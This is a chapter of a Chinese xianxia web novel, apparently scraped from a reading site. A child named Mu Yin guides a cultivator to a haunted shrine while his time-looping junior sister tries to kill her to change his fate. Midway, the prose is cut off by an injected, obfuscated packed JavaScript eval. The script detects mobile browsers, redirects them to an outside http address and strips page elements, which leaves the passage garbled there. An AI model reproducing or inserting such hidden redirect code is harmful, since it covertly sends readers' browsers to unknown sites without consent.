这一节课,夫子讲的是几个大家族的故事。在这个小村落,这座和林水密不可分的大仓山之外,还有大片大片的土地,先辈们将其划分为州,人皇建立王朝,修仙者建立推崇血统的世家和注重资质的宗门。 夫子问有几个州,几个世家时,木音总有个模糊的印象,就像曾经有人在她耳边念叨过;夫子教他们习字的时候,木音也总能快速学会,将笔画繁杂的字写得方方正正。 时间越晚,小孩越坐不住,跟屁股上长了痔疮似的,好不容易挨到散学,坐在前排的木音像阅兵的将军,一一接受其他小屁孩难以置信的目光。 等人都走光,她留到最后一个,拿着木板和沾水的鹅毛走到夫子面前,准备边复述今天学的内容边写字。 “以前有人来村里教你们读书识字吗?”夫子笑吟吟问道。 木音摇摇头:“谁愿意来这犄角……里?”说话时,她脑中似乎有根绷紧的弦,乍然松了,嗡鸣声震耳欲聋。 夫子面容如玉,似乎全然没有听到那个怪异的声音。 “犄角旮旯。”他纠正道。 木音跟着说了两遍,准备复述今日学的内容。早点说完,她才能早点散学。夏天天黑得慢,她去山里捉几只蝉来,傍晚和虎妞一起找个地方搭火烤了吃。 就在这时,书舍的门帘被人一把撩起来,一个身影直接冲进洒满夕阳的教室。 “师兄,你看我找到了什么!”用红色绸带扎个马尾的女子肩扛比她胳膊长的山猪腿,一路带血的走到两人跟前。 木音睁大眼睛,盯着来人的面容仔细瞧。 这漂亮姐姐长得真眼熟啊。但她很清楚,这姐姐和夫子一样,不是山里养得出来的人。说是眼熟,最多就是眉眼和哪家姐姐妹妹相似罢了。 “师妹,你的血洒到这孩子脸上了。” 夫子脾气好极了,完全没有提起被血浸泡的木板和满屋子腥味儿,随手摸去木音鼻子上的血。 那女子“咦”了一声,揶揄道:“师兄,这不是那个上课调皮捣蛋,从来不爱听你说话的孩子吗?怎么?你今天终于舍得把她留下来训话了?” “师妹。” 夫子的脸色一下子冷了下来:“这孩子资质聪慧,记忆力极好,上节课是她第一次上课,不熟悉课堂。这节课,她不仅认真听课,字也写得不错,哪有师妹你说的那样,快道歉!” 木音一听夫子这么贵气的人将她大夸特夸,不自觉笑着抬头挺胸,迎接新一波夸奖。 是的,她,木音,就是这么厉害! 漂亮师妹怔在原地,过了会儿才反应过来:“师兄,这是你第二次上课啊,你瞧我一进山看到四阶烈风兽就给忘了……嗯?不对,这孩子,聪明?” 木音顿时不开心了。 说来说去,不就是看不上她呗,明明是第一次见面,活像她跟这位眼高于顶的恶毒师妹认识很久似的。 没错,她木音也是个小心眼的人。 她不仅在心里蛐蛐这位师妹,还要当面怼她:“没错,夫子说我可聪明了,你看我写的字。” 说完,木音捏着鹅毛戳进夫子的茶盏,就着茶水快速写出一个“明”字。 夫子扶额苦笑。竟然拿他的茶水作墨水,是在怪他刚刚没有替自己辩解吗?不过,有一说一,这个“明”字写得方方正正,一笔一画自有规律,确实不错。 他挥手覆一道冰诀,将逐渐消失的字留在木板上。 木音瞪大眼睛盯着那层薄冰。没想到,夫子和这位师妹竟然是仙人。仙人怎么会来他们这种地方? 没想到,师妹的反应比木音还大。 只见她一把拉住夫子的胳膊,另一只手捏住木板,从肩膀上掉下来的大猪腿将地板砸出一个深坑,将木音吓了一跳。 “师兄,这不对。这孩子不可能会聪明。” 似乎意识到自己的话里有不妥之处,她连忙改口道:“你看,这字,这字像她写的吗?” “师妹未曾旁听今日的课,也没见她整节课都在笔耕不辍地临摹,怎么断定这字就不是这孩子写的。天道酬勤,这孩子当然写得出这字。”夫子一字一句说道,眼中满是不解。 师妹眼中也满是困惑,听到最后一句,更是多了几分讽刺:“天道酬勤?” 她伸手去揪木音的领子,刚伸到头上就被另一只手按住。夫子说道:“师妹,这里血气太重,你先去处理那只烈风兽,我和这孩子说几句就来帮你。” “师兄……”师妹仍旧不甘心,但见师兄态度坚决,也意识到自己今日过于反常,提起猪腿退到院里。 夫子抬起袖子,一张长长的、有四个角的薄纸轻飘飘飞出来,灵光一闪,屋内瞬间恢复原样,被砸出深坑的木板整整齐齐码在地上,一丝血迹也没有。 “吓到了?”夫子和颜悦色问道,随手招来一张椅子坐下。 这点程度跟小楠警告她不许偷她爷爷卖糖人掉在地上的糖差不多,连恐吓都算不上。木音可是货真价实的山里的野孩子,哪会害怕?更何况,夫子也是仙人,一看就是个讲理的人,绝不会让那个刁蛮的师妹胡作非为。 “夫子是仙人吗?”她问道。 夫子问她:“我和师妹是修仙者,不是你们祠堂庙宇里供奉的仙人。你知道仙人是什么吗?” “铁匠铺的叔说仙人是保护我们村子的人,但我知道,山里面有个废弃的庙,庙里供奉的是堕仙。年初被沉河的宋寡妇就是因为被人看到去山上祭拜堕仙,那人告了秘,她才死的。”这些详细又陌生的事从脑子里涌现出来,再经过木音的嘴巴说出来,感觉很奇妙,就像有另一个人在帮自己一样。 但这里只有她和夫子两人,夕阳照进走廊,地上只有他们两个人的影子。 “堕仙?” 夫子放下茶盏,起身扶着她的肩膀看向走廊外的山峦。 “你知道那座庙具体的位置吗?” 木音摇摇头不说话。 夫子沉默一会儿,说起另一件事:“那位故去的宋寡妇待你如何?人死如灯灭,一切恩怨都会散去,你实话实说,若有不能外传的事,我替你保密。” 木音知道夫子是个好人,绝不会滥用好心在村里开书舍,教导小孩。如果他的目的只是那个宋寡妇,那可太好了。宋寡妇死得痛快,夫子了解清楚自然会离开,她就用不着天天留下来复述课上的内容。 想通这一层,木音便将年前的事一五一十说了。 每说到一个地方,她脑子里就会浮现当时的场景,真真假假难以判别。连她自己也不清楚自己怎么能记住这么多,明明她以前只是个不聪明的孩子。 在她的描述中,一切始于一头猪。 宋寡妇是个顶好的人,冬天吃的少,她偶尔会给无家可归的木音一口饭;宋寡妇力气大,和村里的男人不相上下,有什么脏活儿累活儿都自己干,不求人,因此没怎么和别人家的媳妇闹别扭。过年前,村里抽签杀猪,正好抽到宋寡妇。 她一共养了十只鸡,一头猪。 初冬时,她娘生了一场病,她前前后后杀了六只鸡也没把人留住,眼下那点家底儿过冬都难,杀猪?那是万万不肯杀的。 不知道用了什么办法,猪还是没了。 那天晚上,大家晚饭里多少有点荤腥,夜里也睡得香。铁匠铺的阿叔给了木音一碗米糠和两块肉,她端着碗走到山脚,正好看到宋寡妇挎着篮子往山上走。她匆匆忙忙回到村里找个地方躲起来就当没看见,可不知怎么回事,没过多久,东边杨家的小孙子人没了。一伙人吃饱了饭,瞌睡虫吓醒了,拿起家伙什到处找人,正好逮住从山上祭祀回来的宋寡妇,翻出她篮子刚祭祀完的生猪肉和被放血的黄鳝。 “就因为她在山上祭祀?她刚没了娘亲,就没人觉得她是去给娘亲祭祀吗?”夫子皱紧眉头问道。在他看来,这理由太过于儿戏。 “当时人太多了。村里几个老人说山上有堕仙庙,以前掌管林水,因为吃太多小孩被罚为堕仙。杨家那个孩子一定是淹死了。”说到这,木音顿了一下,“杨森的确是被淹死的。那几个老人说完,铁匠铺的阿叔就组织人手就河里捞人,真捞上来了。” 空气陷入长久的沉默。 木音的脑子一阵一阵的疼,她想不起来那晚在林水边具体发生了什么,只依稀记得宋寡妇沉河前用力抓住荆棘笼嘶声吼叫的样子。河水浸湿了她的衣裳,荆棘刺穿了她的手指,血混进夜色里,一片混沌。 “你去过堕仙庙,对吗?”夫子问她,语气中有几分肯定。 木音反问夫子另一件事:“您这样厉害的仙人,来这里,是为了给宋寡妇讨公道的吗?” 夫子摸了摸她的头,沉默了一会儿,点点头。 讨公道?根本不是。他只是到了筑基下山历练的时候,随便找个地方呆一会儿,探听到邪祟的消息再做打算,真没想到一脚就踩中。 凡间果真如师尊所说,饱受鬼修的侵害。堕仙庙?装神弄鬼的把戏而已。 “我们现在就走吧,等天黑了,山上的路难走,我怕走岔路,会绕很久。”木音先一步上前,撩开门帘,示意夫子快走。 她可没忘了院子里还有个刁蛮的师妹。 夫子哑然失笑, 庭院里,几个木傀儡正在给烈风兽剥皮抽筋,师妹不知从哪儿寻来一根狗尾巴草,叼在嘴角,翘着二郎腿坐在水井边。 夫子唤了一声,她立马吐掉狗尾巴草,三两步窜过来。 “我要和这孩子上山一趟,今夜要麻烦师妹守在书舍。”夫子边说边将木音从身侧推出来。 木音万般不情愿地和这位师妹对视一眼。 “不如把我也带上,此地三面临山,一面傍水,昨日我检查过,附近没有邪修的踪迹。我独自一人守在书舍实在无聊。” “既然师妹检查过,想必山上也是安全的。我答应这孩子对此事保密,还请师妹成人之美。”夫子丝毫不退让,和和气气通知完,带着木易直接上山。 山脚下,宋子兰望着渐渐西沉的太阳和巍峨的山峰,心慢慢沉下去。 不对劲,太不对劲了。无论重来多少次,师兄都没有选择在第二天上山。他上山干什么?此时山里的那个鬼东西应该还没苏醒,师兄无从得知那东西的消息才对。 * 木音完全不记得自己走过这么难走的山路,细窄的道路都是村里人一脚一脚踏出来的,两边全是往里伸的荆棘丛,真想一剑劈了它们。 她没有剑,夫子有。 剑光闪烁,将周围冒出来的枝干干脆利落地劈干净。 “我们还要走多久?”越往里走,树木越茂盛,夕阳一丝儿也漏不进来,脚下一片漆黑,夫子唤出一张薄纸,烧纸成光,照亮前路。 树林里是一片破败的景象,还有腐朽的气味。 木音没有回话,一直走。她的脑子完全不认识这条路,但她的身体知道方向。 大约继续走了十分钟,一路拐来拐去,上坡下坡,终于来到一片平地。不远处的山崖上有几块巨大的石头,几根木头彼此支撑,共同撑起石头作为房顶,下面就是破败的堕仙庙。站在远处往里看,还能看到一个小小的人像,左右有两个牌匾,下面供奉着三盘供品。 “前面那个就是堕仙庙。”木音领完路就站在上坡的口子上,坚决不往前踏一步。 在她的印象里,这个庙怪异得很,稍微挨着点儿都能倒霉很久。她孤身一人,小灾小病就能要了她的命,可沾不起半点霉运。 “夫子。”她喊住夫子,顿了一下,说道:“夫子,小心。” 不知夫子的神通和这堕仙庙比,谁更胜一筹。 许陵扔出两道符箓,一风一火,直奔庙内。符箓刚过门就炸开,风卷着火势,将最近的两扇门烧成灰烬;火光照亮室内的陈设,中间的小雕塑约六寸高,通体漆黑,鬼气冲天,另外两侧墙壁上则分别站着两座神像,上面的蜡早已脱落,色块斑驳,暗淡无光。 “原来是个鸠占鹊巢的小鬼。”许陵轻笑一声,握紧剑柄,一剑劈向庙内那座小像。 就在这时,一只尾羽缀冰的箭矢带着寒气射中他的剑尖,硬生生将剑劈歪了方向。许陵又惊又怒。他知道这不是那小孩的箭,而是师妹的弩箭。 师妹竟然早就知道这里的异样! 宋子兰知道这其中的误会大了,赶忙跳下来,将弩箭收进储物袋:“师兄,你听我说。” “师妹,我记得来时你说过,此地安全,没有鬼修的踪迹。”许陵压住火气,冷笑道:“那这是怎么回事?这座堕仙庙师妹是何时发现的,为何留着它?” “师兄,我们会除了鬼修,但现在还不是时候。”宋子兰拽住师兄的手,生怕他一剑劈了这庙。 庙里那鬼修不要紧,若是鬼修提前死了,师兄也会魂飞魄散,再无来日。 这才是她最担心的地方。 “所以,师妹是故意留着这堕仙庙?”许陵气笑了,“你忘了夫子说过这堕仙庙的来处吗?你竟然留着它!” “堕仙庙是凡人以怨恨之心祭祀冤死之人,自愿献祭生命和机缘的庙宇,若堕仙庙中有鬼修,必有鬼宝,非元婴之力不可除。”耳边冷不丁响起熟悉的嗓音,熟悉的话,正在争执的两人双双愣住。 木音也不知道自己怎么了,脑中突然出现一个青年人,眼前有一层薄灰,那人隔着薄灰站在前方的讲台上侃侃而谈,下面有一片乌压压的人头。她说的就是那人说的。 宋子兰勃然色变,大步走过去,边走边取出弩箭:“我就知道你有问题,是你,你故意引师兄过来!这么多遍,一边都没有出错,偏偏你来就变了。” 弩箭闪着冷冷的光,将木音吓得一激灵,转身就跑。 她两只腿哪跑得过箭矢,只听见破空的声音追上她的脚步,一点点攥紧她的心脏,她的心似乎不跳了。下一秒,“当”地一声,箭矢与剑刃相撞,摄人的风声骤停。 “师妹,你看清楚,她是个普通人。”许陵大喝道。 宋子兰没想到师兄会救她,仔细一想,救人才是师兄的风格,他原本就是这么好的人,是她宋子兰心甘情愿困在这里一辈子就搏一线生机也要救的人。 “师兄,她不是人。”她说。 木音怔在原地。“她不是人”是什么意思?她不是人是什么?她就是个再普通不过的人啊。 许陵脸色刷的沉下去。即便心中再痛苦,此刻他手中的剑也纹丝不动:“师妹,她为何知道堕仙庙的事暂且不论,是不是人我还能不知道吗?你一门心思针对她,是想告诉我什么?” 即便是这种时候,他依旧相信师妹,也相信自己的判断。 宋子兰深吸一口气,一言不发,举起弩箭。 见状,许陵也握紧长剑;木音见势不妙,躲进夫子身后。 刚刚闪过的画面还在木音的脑海中回荡,她努力想回忆起这是何时何地的场景。那么多人,那么宽敞的房间,从方方正正的木窗里探进一捧枝繁叶茂的树枝,阳光顺着叶脉洒进来,他们也在上课吗,真美啊,在那里上课一定很开心…… 兵刃相接只在瞬间,木音的思路被乒乒乓乓的声音打断,只看到几个残影。 渐渐地,她能看见那只箭拐弯的踪迹,也能捕捉到夫子手中的剑飞在空中自行阻挡敌人的动作。片刻间,世界在她的眼中越来越清晰。 就在这时,夫子一剑挡下箭矢,箭簇一分为二;他干脆放弃长剑,站在箭矢的必经之路上,用身体挡住射向木音的箭;他抬起手,徒手接住箭,刹那间,箭矢再度分裂,另一只小箭拐个弯,带着另外两支箭剩余的力量径直扎进木音的胸口,血光飞溅。 宋子兰也吐出一口血。 “师妹!”许陵瞪大眼睛,难以相信师妹想杀木音的决心和突然暴涨的实力。 箭矢一分为三至少是结丹期才能炼成的,师妹下山前刚刚筑基,怎么可能进步这么快!而且,她为何不惜耗费大量灵力也要杀了一个普通的孤儿?简直匪夷所思。 无人注意的角落,木音胸口的血汩汩涌出,一丝丝白光顺着鲜红的血流往外流淌。 天地开始崩塌,四周的空间摇摇欲坠。 宋子兰无暇管那个半死不活的小孩,连拖带拽要将许陵带到山下。 “师妹,等一下。”许陵没忘记和自己一起来的木音,好不容易挣脱师妹的束缚,大步冲向木音躺下的位置。还没走出几步,师妹拉住他的领口,直接将他推下陡坡。 “师兄,快去山下。只要你回去,一切都能回到正轨,她不会死的。” 许陵被这番话搞蒙了,更加确信师妹此次下山坚决要跟着自己是另有目的,说不定,这一切都在她的设计中。 刹那间,空间撕裂,一道剑光劈开。 玉清风从裂缝中走出来,久违地见到两个活人,连忙问道:“你们有见过一个和我差不多大的女孩儿吗?这么高,缠着杏色的长裙。”她比划了一个和她眉毛差不多的高度。 那两人纷纷摇头,目光中满是好奇和警惕,似乎也想问什么。 玉清风目光向下一扫,瞥见男子手边的剑,剑上刻着两个字,“长安”,她微微愣住。记忆中,她曾听裴罄然说过宗门内有把被拦腰斩断的剑,剑身由 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15155794|163616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一位元婴期的化形大妖蕴养,以一身修为维持剑灵不散,这在修仙界也算是百年难见的奇谈。 “你是许陵师兄?” 许陵仔细盯着那陌生的女子瞧了个遍,愣是没认出来是哪个峰上的师妹:“你是哪位师叔的弟子?” “家师绮珊道人。” “玉师妹!” “绮珊师叔何时收徒了?” 许陵后知后觉,看向从始至终都不对劲的子兰师妹:“师妹,你怎么知道绮珊师叔收徒了?我们下山的时候,绮珊师叔在外游历多年未归,这些日子,我们一起行动,我与师尊时常联系,不可能不知道。” 宋子兰脸色煞白,嗫嚅着说不出话。 她离开时,玉师妹尚且年幼,如今一见,师妹已经长大,外界过去多少年,她还剩几次机会? 玉清风看两人的反应,确认都是同门:“你是许陵师兄?” “正是。” 许陵跳上来,一眼瞧见躺在不远处的木音,从储物袋中找出两瓶伤药,快步跑过去救人。 他边跑边问:“绮珊师叔收徒并非眼下就会发生的事,师妹从未来的时空来到这里,是否清楚这里的情况?” 玉清风将昏迷前的情况简单概述:“我和师妹误入一处破败的村落,村中只有丝丝缕缕的人气,却不见人影,有丧仪吹打乐器从山上下来,却不进村,只看到这些,我就失去意识,醒来时,师妹和我分开了。” “绮珊师叔竟然有两个徒弟!”许陵一边喂药一边在心中感叹。 他仍记得第一次和师尊去拜见绮珊师叔,只是在堂下瞻仰一幅画像。掌门说师叔生性自由,不喜欢束缚在门内。画中的女子眉目疏扩,英气十足,确实不像是甘愿受困一地的人。掌门代师叔转交赠礼,一块拳头大的庚精。有庚精相助,长安剑方才有了剑灵,威力大增。 那样的人竟也有欣赏的徒弟,还有愿意传道的心,想来是很久以后的事情。 绮珊师叔愿意收两个徒弟,掌门肯定很高兴,门内定然会热闹两次,不知道那时他是否在门内,有没有机会陪师尊喝一杯? “不知另一位师妹叫什么?等我们从此地出去,或许能帮你找到她。”宋子兰赔笑道。 玉清风一眼看出她的口不应心,不搭理她,转身跟到许陵身边,去和许陵说话:“这小孩儿是谁?师兄你的药只能止血,她伤得极重,或许已经救不回来了。” “她是我带来的,我一定要把她带回去。师妹,你可有办法?”许陵急切地问道。 “没有。”玉清风拔剑出鞘,剑指山石下破落的屋子,门框被烧得焦黑,一道黑影从其中走出来,粘液弥散在地上,如同蛛网,恶心的味道一点点冲击众人的大脑。 “师兄,那是什么?” “堕仙庙。”许陵要紧了牙关,争分夺秒试各种伤药。没用,这个也没用!他带来的药都试光了! 就在他心烦意乱时,玉清风一剑挡住那鬼影甩来的黑色泥块,泥块炸开,露出红色的雷霆,顺着剑尖流窜到地上,四处飞溅,其中一簇眼看着就快要落到木音的脸上,许陵连忙画出一道血符去挡,却被红色雷霆撕成粉碎。 下一秒,那红色雷霆如同被双亲拎回家的顽童,任由从木音胸口中流出来的白光将其裹住、吸收。木音的伤口在愈合。 “师兄,她是怪物!”宋子兰狰狞地笑道。 玉清风不清楚这三人之间的关系,本着安全第一的原则,也开口劝一句:“师兄,这个孩子的身体太诡异,早点出去为妙。”她知道许陵师兄死在怀州,说不定那座诡异村落就是师兄的埋骨之地,那孩子就是杀死师兄的人。如此凶恶之事,她还是少沾惹为妙。 罕见的,两位师妹持统一意见。 许陵下不了手:“玉师妹,这孩子是山下那个村落的孤儿,或许她的身世另有蹊跷,但此行我可以保证她并没有异心,是我骗她能帮她,帮山下一个曾对她施以援手的宋寡妇沉冤昭雪,她才来的。” 闻言,玉清风转过脸去,专心致志挡住袭来的黑泥块,不再关注这个孩子的生死。 反正,许陵都是会死,被良善拖累而死最难挽救。尊重他人命运,享受自由人生,木音之前经常在她耳边念叨,如今她人不在,这句话倒是念念不忘。 “师兄,你看玉师妹,她也认为这孩子该死。玉师妹是绮珊师叔的弟子,她说的,你得信吧?”宋子兰一剑射穿从旁边袭来的黑泥块,直奔许陵身边。急切地劝说着。 她那一箭将红色雷霆炸得到处都是,有几簇险些溅到玉清风身上,玉清风白了她一眼,不多言语。当务之急是找到木音,再脱离这一方天地,尽早离开为妙,两个命数已定的人不需要她费神。 “师妹,木音是我带来的,我自当带她回去。怎么能放任不管!”许陵已经打定主意,旁人的三言两语影响不了他。 宋子兰还想说什么,锋利的白刃顶在她的脖子上。 顺着长长的剑刃往上看,是玉清风冷静肃然的脸和背后一片威风凌凌的剑阵。宋子兰愕然道出那个剑阵的名字:“玉虚剑阵!” 玉虚剑阵是玉虚剑诀中的招数,她曾见掌门用过一次,这世上只有和掌门师出同门的绮珊师叔能用此阵,也只有绮珊师叔会将剑意和剑阵凝入符箓中,交给筑基期弟子携带防身。 “你刚刚说,她是谁?”玉清风问道。 “木音。”许陵心里一咯噔。 怕不是玉师妹要找的人就是木音吧? 话音刚落,剑阵收拢,无数黑泥块被打碎,红色的雷霆被剑阵接力踹向木音的方向,宋子兰躲避不及,身上多了好几处擦伤。 那道黑影被剑阵击溃,化作数道洪流逃进庙内。 玉清风将伤势好转、呼吸稳定的木音抱起来,架着她的胳膊走向那道裂缝。 她刚刚匆匆扫过一眼,真没认出这是木音小时候的样子,和当年大殿上隔着水幕看的样子有些许差别,最重要的是,这孩子比木音胖不少。当年,木音瘦得皮包骨,风一吹就倒,这孩子养得挺壮实,怪沉的。 “师妹。”许陵喊住她。 “求师妹再出一道绮珊师叔的剑阵符,帮一帮山下那些村民吧。这些村民被困在深山,若堕仙庙不除,任由鬼修掠夺人气,养出鬼宝,山下便是生灵涂炭,灾祸不知道会绵延几千里。” 玉清风脚步不停,一直向前,突然,她的左脚被人从后面拽住,只听许陵惊呼一声,她不得不收起脚上的力道。 “玉师妹,算我师兄妹二人求你,请你出手抹去堕仙庙。” 玉清风瞥见宋子兰松开自己的腿,两只手拽着木音,想将她夺回去,当即冷笑道:“宋师姐,你想对我师妹做什么?” “她不是你的师妹。” 宋子兰两眼通红,心痛到流不出眼泪,她一字一句道:“当年,我将木音带回宗门,她比现在还大一些,你要是带走她,就是扰乱历史的轨迹,你有绮珊师叔庇护,或许没事,但她作为当年的亲历者,必然会受到反噬。” “师妹,你也是……不可能,下山之后我们一路同行,你是什么时候换过来的?我的师妹呢?”许陵又急又气,握紧了剑柄,连一句重话都舍不得说。 他怎么可能看不出师妹的异常都是为了他? “许师兄,我曾在门内听说有把长安剑被人拦腰斩断,蕴养于一个化形大妖体内。” 玉清风的话还没说完,便被宋子兰宛若泼妇的呼号声喝断:“别说了!别说了!师兄,师兄你别听她瞎说,我已经研究出方法,我一定能找到带你回去的办法,只要魂魄尚存,便可以夺舍,还可以回到人间。” “夺舍?” 玉清风冷笑道:“你要你的许师兄去夺舍别人,断别人的生机为己所用,他那么好的一个人,品行端正,一生清白没有污点,他会如你所愿吗?宋子兰,我听说当年你们被困在一处鬼阵内,要我再说说你们是怎么破阵的吗?” 许陵望着几近崩溃的宋师妹和冷眼旁观的玉师妹,真相已经猜得七七八八,不由得在心里叹口气:“还请玉师妹解惑。” “师兄,还有机会,我这些年一直在研究还魂之法,如今来见你便是有此法相助,你相信我,我一定能带你回去的。”宋子兰通红的眼睛里慢慢流出丝丝泪水,她摸了把脸,有些诧异。她还以为自己的眼泪早已流干,若非修为提升带来的驻颜之效,她恐怕早就成为一个白发苍苍的老人了。 一听还有还魂之法从中作梗,玉清风更走不得了。她将木音放在一株树下,布置法阵护住她,然后走到那两人中间,将曾经听闻的事情一一说出。 “许师兄,我并非当年之事的亲历者,或许传闻有假,不过,你可以请这位师姐帮忙补充一二。” “师妹但说无妨。”许陵苦笑道。 长安剑断了,师尊以身养剑,“当年之事”近在眼前,恐怕无比惨烈,让人无比痛苦。 “当年,怀州大地一夜间出现九个连环大阵,专门吸收人气,都是鬼修布置的。元婴修士虽神通广大,奈何对阵法一道并不精通,纵使来了化神修士,也只能延缓大阵运行的速度,护住凡人。但听闻怀州有一角落也出现大阵,此阵一破,九阵俱陨。而击破此阵的,除了当地所有百姓,还有一名筑基期修士,名叫许陵,佩一把长安剑,着青衣。” 玉清风看向失魂落魄的宋子兰:“其中细节,恐怕要问宋师姐了。” 许陵没有急着追问,而是扶起宋子兰,抱了抱她:“师妹,辛苦了。若我以身殉阵,换来数万名生灵活着,又有何妨?接下来,你和玉师妹一道离开,乖乖回去,好吗?” “不行!师兄,你本可以活着回去,你可以不用死啊!”宋子兰大叫道。 许陵想拉她都拉不住,只能由着她用沙哑的声音继续说:“那个大阵只要一百六十人献祭,一百六!那个村子里死了两个,正好还剩一百六!我们明明说好用他们破阵。他们本就该死,他们死不足惜!可是,是木音这个诡计多端的骗子骗了你,什么口齿笨拙、手笨脚笨,她分明机灵极了,抓着机会就往上爬,得了机会进斑斓谷,还想法子成为绮珊师叔的弟子,就她,就她?就是她啊,明明大阵就要启动了,你却将她推出去,你留在阵中。” 突然,剑光一凛。 玉清风手持长剑,横在宋子兰的脖子上,警告她:“该说的不该说的,你自己掂量。” 宋子兰咧嘴笑起来,挑衅意味十足。 就在这时,剑刃上多出两道鲜亮的红色,汩汩流淌。许陵用手握住剑刃,剑刃已有剑灵,自然不愿意受制于人,不断震颤,将他的手割开,伤口越来越深。 “师兄,你快松手,松手吧。”宋子兰心疼极了。 “请你,收剑吧。” 许陵看向玉清风,认真地说:“玉师妹,可惜我没有机会和你相识,但请你信我一次,我愿意以性命发誓,我并不想逆天改命,不会伤害木音,木师妹,我只求一个真相。” 随后,他对宋子兰苦笑道:“师妹,人死如灯灭,不要再执着了。”